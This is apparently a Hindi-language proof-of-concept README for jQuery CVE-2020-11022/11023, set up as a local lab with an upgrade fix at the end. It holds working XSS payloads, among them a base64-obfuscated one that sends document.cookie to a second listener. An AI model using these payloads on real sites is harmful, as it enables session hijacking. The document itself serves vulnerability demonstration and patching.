CVE-2020-11022 CVE-2020-11023

jQuery के 1.2 और उससे ऊपर तथा 3.5.0 से पहले के संस्करणों में, अविश्वसनीय स्रोतों से HTML को—सैनिटाइज़ करने के बाद भी—jQuery की DOM मैनिपुलेशन विधियों (जैसे .html(), .append() और अन्य) में पास करने पर अविश्वसनीय कोड निष्पादित हो सकता है। यह समस्या jQuery 3.5.0 में ठीक कर दी गई है।

jQuery के 1.0.3 और उससे ऊपर तथा 3.5.0 से पहले के संस्करणों में, अविश्वसनीय स्रोतों से तत्वों वाले HTML को—सैनिटाइज़ करने के बाद भी—jQuery की DOM मैनिपुलेशन विधियों (जैसे .html(), .append() और अन्य) में पास करने पर अविश्वसनीय कोड निष्पादित हो सकता है। यह समस्या jQuery 3.5.0 में ठीक कर दी गई है।

शोषण (Exploit)

1. PHP वेबसर्वर पर index.php पेज होस्ट करें। मैं sudo php -S 127.0.0.1:80 का उपयोग करके तुरंत सर्वर चालू करने का सुझाव देता हूँ।

सरल XSS

2. पथ http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=alert(1)%3E पर जाएँ।
3. "Append via .html()" बटन दबाएँ।
4. अलर्ट पॉप-अप देखें।

कुकी चोरी

2. पोर्ट 8085 पर एक और वेबसर्वर शुरू करें, मैं इसके लिए Python का उपयोग करने का सुझाव देता हूँ: sudo python3 -m http.server 8085
3. पथ http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=eval(atob(%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==%27))%3E पर जाएँ।
4. "Append via .html()" बटन दबाएँ।
5. Python लॉग जाँचें और उसमें अपनी कुकी देखें।

समाधान (Fix)

अगर आप इस स्क्रिप्ट में इस CVE को ठीक करना चाहते हैं, तो बस jQuery संस्करण को https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.js में बदल दें :)